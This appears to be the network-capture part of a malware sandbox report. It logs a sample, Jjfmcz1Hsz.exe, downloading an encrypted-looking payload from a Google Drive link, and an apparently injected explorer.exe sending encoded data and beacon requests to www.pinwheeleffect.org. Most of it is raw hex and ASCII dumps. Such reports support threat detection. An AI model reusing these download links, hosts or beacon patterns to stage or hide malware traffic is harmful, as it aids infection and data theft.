ONeTGGgkYX2wZmrcwSBYRpNTTpmM0vSdMdOsHEjwAMdXNyA-bspppkjpMHwVtp9SmiKOkptdQJ1rPN~EUXKkp3bFKTwcja(k0nq9cKtTosmMIYVlGGfGZz45~ZAnS_~w(EfhuZrVXQ9_FdV8uSMOFDG0cCRaMpmCRMP6dzJ0kC~yYYb5JqH99pN4mHbwgQcHAJ0uGaGXqGYHWsjUUdUaCMCsCIM_1Sy9IDIqL6NRQdY1l7ZTUmdSBzJiF1a0jmyyfbLVHBNfOSXqE-Yd93J9dmRz2P9E2uoX0zGjOrplGZ79RQDUkhXwTaSeaaRL~UPT9pPwWpRJ4BM9ZKVQFOsfu94ux70bZZSWSk9UW0COxUh1XxnD(L2sNZLrPibwJKfKL9bFuq44e78eYpfMb8m-Eapf5Y55L_Ssz3jFEXZ4yR6ukWup8K6VA-LxCTKU3Nvc9lJ4kKdh~lARRM(vmukApBcUBycbpsYHnbLn3SWEyPlg7gB_g7HkX_QALCZYj1zE23pqLrGSxct4JoVmo8t-gQaqzMfLvXeNfDe977REoK6Z9rK8Qhx_rHBgYxuggExXI0eqWYFhxP66O4ijmu2FWMSiDQWgpRg2XNCx4-AvN6ENp4oKINMsWnws~s(Ur-D3bgogu122o3KH7kH-4KfyeajLiEeN9LenlvVS3SeeORaufo0i~43oEmPph3YLFYREO4F5MibPwZzC9UsbzG6jgnzUyBM1z8SStHu72qS-L5kFx8OSG8GWWPXNuxSaAJplm6p-0FNgoLesR3ny2fy0dfLCH5I5rY3pieuLRA6aILzX95ikLo0DjyTywyr1uZ(p0zbnBNf7DJqSdko8W1~6NIgu8BzZOTOMp1owwRfC4ecebIECdoJpiyk5a723tzLR4OtX9YV_qyrfFHdoe4T6kEDdoUizZQDI5oyBqTJK5VglBhJhOLRNEyvD5iftJkc3yLJfjtyXDe4LVTGcewxMdzExXRv9z5L1BkySxiRFKszgXW4SxnPcBolPGwAG8rO_h6eR~DyNfIWoffk9PUm7KIDegphZht4UGKyMocOLRVJdGpgLAOOhuFhgHERzWxtEhgKDB4FE9XsWFdnuLAoU(jz8KzsjLzSRbpyq7CIR11dIGF0Nsw9a1c8DPOLDLXdW2f7Uj7elB3sRdLEO9H21LkME5zHtmzMAg5upwS9-x0jj9EsoXpCftEoFip(6TRpK7bKdQuJRKvx50IrGZj35myEr6FMZFmFfJ7zkIPmowTGiFW8S6ylS8prJJj5LdGx5LamoXcHsOtG2tFwHFmX2AEyQ40s2j20COC~FyMzZFC7-WCH6aXaIkujDvgBgO-xr9jnWlYR_VI2uG7UqiLnaxzJmknqKpyTnmIX50-eceiYsn_5AWMnuB9fNR_cu0sLT0Qh6HNSI(W0VNoKDl-zqfXtyoy58RE~NdjLsEvpRMc7f33MNxCYFpL1jF7ZYTzH6i68PO3krMpOLAHIWPlX4g9IdPbUjqCd7vz88SN1IQjLJmmvLrR~CgcyC~R5zOf9Rm0Ul55jzUu2mNVx1(DFsVEfMlpfcRRBOt5K9mSNtck2DYtsjgvG_1uDP3zX2URuhMNWqY6x9PatgA_GO7qJhiL0XUdxIm5JzxlqbykY5FhkNaeLtwEgkB527NfkTwLRpsBgC~C0NjRA5Ksas7LqgKcte3Al_9jegKU1RWi6DLKD-I-YieQFiXufYWX(oXNjaFqvr4qvY9UNCvlnIEjRbzC7B~ZKjaxJpbiIfnRYOVbhbGvSkX-K1yQ6dYQyVV9(p8GmjCS7nRyEzt2RfRLhgy8d49DrEhDyXJ4t_N6NUs50alIk5jg(bUhsbUw58uLsHr8z_DT03(55EMNBarSfvLG33s2oKBU5zhK9oRRtngDRK90rlSM3aJikqDiZBa4LU~9uuRYmZBErQurWj8-ZwBBcpGt3oowdBkoVRUY1Hr-(6XC5tS7k7EGVRh6Vh6o8f8ZeKjVXFahIDPwJEtF7W3Q(4UpGF2i(DqyQLCOa3RhD_1kKbvEIOQ1p4O3U9ktAAmfaZQiURdBwDJbEjBEE5~I2J0rKjWSSEAKiq~KOpBQjUi9Ii67ZS~DPdNs9SmH9ivLMGxmjhVY6zIR2YopbWa05nK1sq0S7lA_1KW6iez9BufxtKYyGmIBkz~shVr0Kqx0bTVz6z81GRifsOv7GZtjRBfDaIhDMEQp8ro7XRHcaXlTfIE3kjFEE5tJO2qGDy70~bCjlCgj8jzkmBFE~LPcJ6Pe~t1ysKwO3SYIkYwGFoUmPzp862nfbyMeXOC907hutp5weoygAYCdZIDkuCybsJ~LDAvR66QDINOrni5idtACQkjOgPxdJVba59xiZygCKgiy7wjXXeX1Qumks-e0lftaX5nvvJ0Cx5oeW4TxnjJnJ0Gq6wdoDlIw5vrIk5FclwNb06sD5PLn9_sFcqQpkxccav8DZSpMjGupWxEexwouGbRIIGd5j2WwsxYsQo56oPtdHaanAQ4OVDH5tFj25kmcuJpwaPSuljuhcFD7XQ6Hr8KV9Zy3XmPvfmp_C9AjfmAKDiirJQK7J6IMaXEzkndhaP
Dec 5, 2022 15:20:38.021472931 CET	12991	OUT	Data Raw: 7a 49 33 35 75 6c 6b 4f 71 51 6a 4e 33 7a 57 6a 42 34 6c 6a 34 68 72 38 30 32 7a 58 31 4c 63 65 70 4e 45 68 79 41 65 48 52 7a 73 66 6f 7a 45 6f 38 45 48 78 54 6e 6c 48 30 2d 69 79 6f 41 66 44 30 52 53 52 57 6b 6f 56 54 33 6a 4b 4f 47 65 4f 78 75 Data Ascii: zI35ulkOqQjN3zWjB4lj4hr802zX1LcepNEhyAeHRzsfozEo8EHxTnlH0-iyoAfD0RSRWkoVT3jKOGeOxueFFJCFNKXWsnpove31~ZHKY0CFyOcclP(oKpJwxeJLQ4nkpV8O3m1LzVkOlLegFd1YhwswkAEiQS6LYt9cZ8CNp5uc33OJ3EV7xmGeOMK5vNTBl0XSGevMhCvJdL4WwPAg8o7H6qYa(HT6wyNzm8RkVrWJdFIqOBN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.11.20	49958	208.91.197.39	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:20:40.202542067 CET	12991	OUT	GET /nqhc/?7nWHV=5+D/AEotBIiARx+RPOYdHDoSCIwvlBfWKmb14ofQdN1lqNdZOlbl7P8VoNd3a3Fenblb13q2VSw+uZcH+Wrp87x4A2/T8XiFdA==&jP1=y48xBzJ0mzz HTTP/1.1 Host: www.pinwheeleffect.org Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:20:40.494645119 CET	12992	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 14:20:40 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") Set-Cookie: vsid=927vr4177956403546408; expires=Sat, 04-Dec-2027 14:20:40 GMT; Max-Age=157680000; path=/; domain=www.pinwheeleffect.org; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_IdsS2h7PJJdmFyo0aP/gBliZFUiNi8pbKkonGy3TeBjh/IoYs8h/Zo0iHZreXPyJV8TTdMUpGteDVDKmOLKZsg== Keep-Alive: timeout=5, max=123 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 36 36 39 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 Data Ascii: 669c<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAw
Dec 5, 2022 15:20:40.494745970 CET	12994	IN	Data Raw: 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 Data Ascii: SAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_IdsS2h7PJJdmFyo0aP/gBliZFUiNi8pbKkonGy3TeBjh/IoYs8h/Zo0iHZreXPyJV8TTdMUpGteDVDKmOLKZsg=="><head><script type="text/javascript">var abp;</scr
Dec 5, 2022 15:20:40.494820118 CET	12995	IN	Data Raw: 61 74 65 49 45 37 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 Data Ascii: ateIE7"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" /><style type="text/css">*{margin:0; padding:0}a{text-decoration:none; outline:none}a:hover{text-indent:0; cursor:poin
Dec 5, 2022 15:20:40.494901896 CET	12996	IN	Data Raw: 63 36 36 34 64 20 3b 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 77 69 64 74 68 3a 20 31 30 30 25 3b 7d 0d 0a 23 68 65 61 64 65 72 20 2e 68 65 61 64 54 6f 70 20 2e 6c 65 66 74 42 6c 6f 63 6b 7b 66 6c 6f Data Ascii: c664d ;float: left;margin: 0 0 10px;width: 100%;}#header .headTop .leftBlock{float: left}#header .headTop .rightBlock {float: right;}#header h1 a { font-size: 32px; font-weight: bold; color:#fff; }#header .head-pad a:hover{text-deco
Dec 5, 2022 15:20:40.495027065 CET	12997	IN	Data Raw: 72 3a 23 66 66 66 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0d 0a 23 6c 6f 67 6f 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 20 6e 6f 6e 65 3b 7d 0d 0a 2e Data Ascii: r:#ffffff;font-size:11px;text-decoration:underline;}#logo img{border:0 none;}.searchbox{width:351px; height:30px;}.srch-txt{float:left; width:242px; height:28px; font-size:16px; line-height:28px; background:url(http://i3.cdn-image.com/__
Dec 5, 2022 15:20:40.495148897 CET	12999	IN	Data Raw: 6c 2c 20 2e 6b 77 64 5f 62 6c 6f 61 63 6b 20 75 6c 20 6c 69 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 33 38 38 70 78 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 0d 0a 2e Data Ascii: l, .kwd_bloack ul li{float:left; text-align:center;width:388px;list-style:none}.kwd_bloack ul{padding-top:9px}.kwd_bloack ul li{line-height:30px}.kwd_bloack ul li a{float:left;width:388px;text-decoration:underline; font-size:19px; font-w
Dec 5, 2022 15:20:40.495249033 CET	13000	IN	Data Raw: 6f 6c 6f 72 3a 23 66 66 66 7d 0d 0a 2e 69 6e 71 75 69 72 65 20 61 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 20 63 6f 6c 6f 72 3a 23 66 66 66 7d 2a 2f 0d 0a 0d 0a 2e 73 61 6c 65 Data Ascii: olor:#fff}.inquire a {font-size:12px; font-weight:normal; color:#fff}*/.sale-msg {background:#fff; color:#4b4b4b; text-align:center; font-size:14px; height:40px; width:100%; top:0; left:0}.sale-msg a {text-decoration: none; color:#079c
Dec 5, 2022 15:20:40.495322943 CET	13001	IN	Data Raw: 70 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 32 33 37 70 78 7d 0d 0a 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 31 30 30 25 7d 0d 0a 20 20 20 20 20 2e 68 65 61 64 65 72 2c 20 2e 62 6f 74 74 6f 6d 5f Data Ascii: p{background-size:100% 237px} .container{width:100%} .header, .bottom_rs ul{height:auto} .leftblk{float:none; padding:0 5px} .domain_name{line-height:33px; font-size:30px; float:left; width:74%; padding-top:29px; word-w
Dec 5, 2022 15:20:40.495429993 CET	13003	IN	Data Raw: 61 75 74 6f 3b 7d 0d 0a 0d 0a 23 68 65 61 64 65 72 20 68 31 20 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 38 70 78 3b 7d 0d 0a 0d 0a 7d 0d 0a 0d 0a 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 Data Ascii: auto;}#header h1 a{font-size: 28px;}}@media only screen and (max-width : 600px) {#header{text-align: center;}#header .headTop .rightBlock{float: none;}#header h1 a{font-size: 22px;}#header .leftBlock p a{display: inline-bl
Dec 5, 2022 15:20:40.495521069 CET	13004	IN	Data Raw: 6d 33 75 31 35 43 57 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 69 33 2e 63 64 6e 2d 69 6d 61 67 65 2e 63 6f 6d 2f 5f 5f 6d 65 64 69 61 5f 5f 2f 70 69 63 73 2f 38 39 33 34 2f 72 63 6f Data Ascii: m3u15CW" target="_blank"><img src="http://i3.cdn-image.com/__media__/pics/8934/rcomlogo.jpg" ></a> </div> </div> </div> <div class="headbottom"> <div class="container clearfix"> <div class="
Dec 5, 2022 15:20:40.617141008 CET	13005	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 20 2d 2d 3e 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 Data Ascii: </div> </div> --> <div class="content clearfix"> <div class="arrows frt_arr pngFix"></div> <div class="kwd_bloack clearfix"> <h4> <span

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49821	172.217.23.110	443	C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 14:13:33 UTC	0	OUT	GET /uc?export=download&id=1ci_fZY9vhWqDsoVL9EsZt-nC3_CtEg73 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-12-05 14:13:34 UTC	0	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Dec 2022 14:13:34 GMT Location: https://doc-0g-7s-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/41p6p8b8de87nda3pnh8ht90u3kusm97/1670249550000/00631903678986001080//1ci_fZY9vhWqDsoVL9EsZt-nC3_CtEg73?e=download&uuid=85b46012-288f-4c0a-b12e-c636b72305d2 Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin; report-to="DriveUntrustedContentHttp" Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-yfrzSZv1qHQKXXsVOiD4Gg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-platform=, ch-ua-platform-version=* Report-To: {"group":"DriveUntrustedContentHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/DriveUntrustedContentHttp/external"}]} Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49823	142.250.184.225	443	C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 14:13:34 UTC	1	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/41p6p8b8de87nda3pnh8ht90u3kusm97/1670249550000/00631903678986001080/*/1ci_fZY9vhWqDsoVL9EsZt-nC3_CtEg73?e=download&uuid=85b46012-288f-4c0a-b12e-c636b72305d2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-0g-7s-docs.googleusercontent.com Connection: Keep-Alive
2022-12-05 14:13:35 UTC	2	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdtZJ94tXuaonZ8DRVIgxiM-Y2ct_fof64HdXkArzbQqTSgBj85ZOr8aAp3LenvTvnxnndr4o-Rr2s-piPr8XkD6y9lv8uRN Content-Type: application/octet-stream Content-Disposition: attachment; filename="lyEbZohNV201.jpb"; filename=UTF-8''lyEbZohNV201.jpb Access-Control-Allow-Origin: Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-467253834-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, x-goog-ext-477772811-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-Interop-Cohorts, X-Goog-Meeting-Interop-Type, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Goog-Meeting-Viewer-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment, x-goog-greenenergyuserappservice-metadata, x-goog-sherlog-context Access-Control-Allow-Methods: GET,HEAD,OPTIONS Content-Length: 189504 Date: Mon, 05 Dec 2022 14:13:34 GMT Expires: Mon, 05 Dec 2022 14:13:34 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=A+nEOA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-12-05 14:13:35 UTC	6	IN	Data Raw: e0 79 c5 06 d1 41 5a 81 54 12 d9 cc a5 76 3e 2d 57 57 c1 fe a2 9e 44 06 60 1f d8 f2 44 fe 29 b5 66 ac 13 c3 01 38 2c f4 c5 cb 68 47 de 95 d1 f1 4b 7b 87 a0 15 aa c6 ef ca 99 0f b4 09 53 e7 51 ab 74 33 77 12 1a ef 9a dd 99 2e 22 19 43 8c 3a b5 73 bd 5f f2 59 e7 f0 e7 06 11 f1 18 5b a9 a8 79 c4 b8 18 42 b8 ab eb 93 8b 3d 93 f2 88 0e a9 21 21 c7 62 42 21 c7 38 27 c4 e2 39 21 81 e5 b7 bf bf f9 a1 c9 db b7 9c df 7b 7e 6f f5 34 0a 83 95 fe 7d c5 50 f0 e7 2d 37 a7 b3 ab 0b 35 2f 11 68 db dd ce 0d f9 4f d8 69 5d 46 e3 87 7b e7 ba 66 7d 18 67 b8 0e ce 50 26 80 5f 77 51 0d 3d 1f ae 95 7e a1 d6 96 42 9d 44 02 aa a6 38 49 e4 5e 74 e8 0e f6 77 a0 bf 56 cd d3 42 a3 9e 91 43 49 8e ca 1d 5c 97 80 4b 4f 4e 6a 4b 89 90 9f ba c3 8a 78 41 e6 e9 9f 74 28 c1 be d9 4c a0 ab db Data Ascii: yAZTv>-WWD`D)f8,hGK{SQt3w."C:s_Y[yB=!!bB!8'9!{~o4}P-75/hOi]F{f}gP&_wQ=~BD8I^twVBCI\KONjKxAt(L
2022-12-05 14:13:35 UTC	10	IN	Data Raw: 55 b5 49 bc 1c d9 64 ce c2 51 80 95 b4 45 8c 25 5f 6b 36 07 a8 37 e6 0c a0 b7 37 31 85 2c e8 c2 c8 16 85 f2 30 cc 70 33 c0 e6 de 6a b9 5e 8f ea 83 96 6a f8 1d 18 04 02 05 f9 6e 54 9c 96 26 35 9e a5 09 24 20 a6 43 cd ff f7 13 67 7a 53 c5 5e 2c 12 5e bf 8d 48 aa cc e9 ae 49 5a c8 68 bf 60 fe 34 50 53 e5 6c bf 12 31 64 d9 f6 11 a5 a0 ce dc b0 85 62 a3 31 31 df 30 75 f6 cc bf 2d 58 df 0e bb 85 b5 85 16 3e 7d 36 38 57 49 0f aa b3 f7 de c4 03 0d b8 c7 4d 09 c3 60 0f ce 15 59 ea e8 67 7b fe fb 28 30 56 16 89 40 62 51 b6 f1 11 21 a3 dc ad 40 ba b4 10 e2 f2 9d e2 05 25 b2 b9 cd 87 63 b5 bd d2 7f 4c 0f 86 89 cf e4 c2 fc 16 43 32 f6 ef 78 f9 fd 39 fd 93 18 6a eb 32 00 07 26 09 1f 59 98 2c 64 65 99 01 d8 30 79 46 f4 3a 41 c4 69 cc a1 47 f5 3a ff 98 4f fb e8 58 95 7f Data Ascii: UIdQE%_k6771,0p3j^jnT&5$ CgzS^,^HIZh`4PSl1db110u-X>}68WIM`Yg{(0V@bQ!@%cLC2x9j2&Y,de0yF:AiG:OX
2022-12-05 14:13:35 UTC	14	IN	Data Raw: d0 25 73 1f 49 a5 35 22 7f 48 18 ca 60 3b b9 7f 34 50 76 5c 2d 6f bc 41 9b b9 71 95 2b e4 12 42 16 0e 88 65 af a7 76 50 c2 de 4b 55 a8 5a 9e a4 be ce 13 20 36 96 53 82 72 9b 76 eb a6 24 b1 42 de 28 76 93 16 0d fb b6 41 6c 12 06 5d d0 22 0c f6 57 8c 34 7b 45 59 c1 59 7b 7b c1 c6 3f 9f d2 7e f2 0a b2 86 ca 47 42 ee 8f 03 36 30 f4 0a b7 c4 0d b9 1f 24 5f fd 78 50 7c 89 a1 c0 a7 c5 9e 43 b4 ef 96 29 f8 00 51 e6 3c 10 99 fb c7 c9 62 44 04 d1 0a 10 74 bc b3 68 c0 44 16 bb 25 53 c4 b2 44 0f 29 8f e8 5a 71 71 2c 0a 9b 07 42 31 90 a1 fc 90 37 8a 1a e6 21 09 d5 e3 12 1e a3 de 98 99 05 85 74 40 cf 2c 5c 82 72 5b bd 5d 77 b3 f8 f5 75 59 b9 c8 1d 40 d1 8e 2f f8 22 d2 9f 45 9e 18 be 3e 11 8e 25 68 8b 47 e5 dc ce b0 1c 08 d5 0e b5 da 18 ad 6c 15 07 58 94 0e 64 dc cf 7e Data Ascii: %sI5"H`;4Pv\-oAq+BevPKUZ 6Srv$B(vAl]"W4{EYY{{?~GB60$_xP\|C)Q<bDthD%SD)Zqq,B17!t@,\r[]wuY@/"E>%hGlXd~
2022-12-05 14:13:35 UTC	18	IN	Data Raw: d1 96 65 9a a0 1d 34 19 36 85 34 bb 4f aa 36 93 21 bc b8 0f 12 2d 64 de 68 ff fa ab 0e 0c 8f be 80 43 09 dc 1c 24 df 2e fb 04 47 64 b4 d5 0c 42 e3 3a 92 e0 a2 c6 9d 56 96 17 6b 99 0c 1e f1 28 59 15 09 d7 30 8b 31 56 94 4b 14 81 33 9e 74 86 2d a5 0e 76 e8 3c 2c 5b f6 68 36 ad 99 0c 42 48 f8 7c 16 e3 3b fc 32 22 5b a6 77 a1 b9 af f4 b6 88 09 8a 37 18 ec c6 43 59 9d 60 e3 46 73 5a da 27 8f 4c b4 dd 64 b3 2f 34 d2 aa f3 bd f4 6d da 29 03 Data Ascii: e464O6!-dhC$.GdB:Vk(Y01VK3t-v<,[h6BH\|;2"[w7CY`FsZ'Ld/4m)
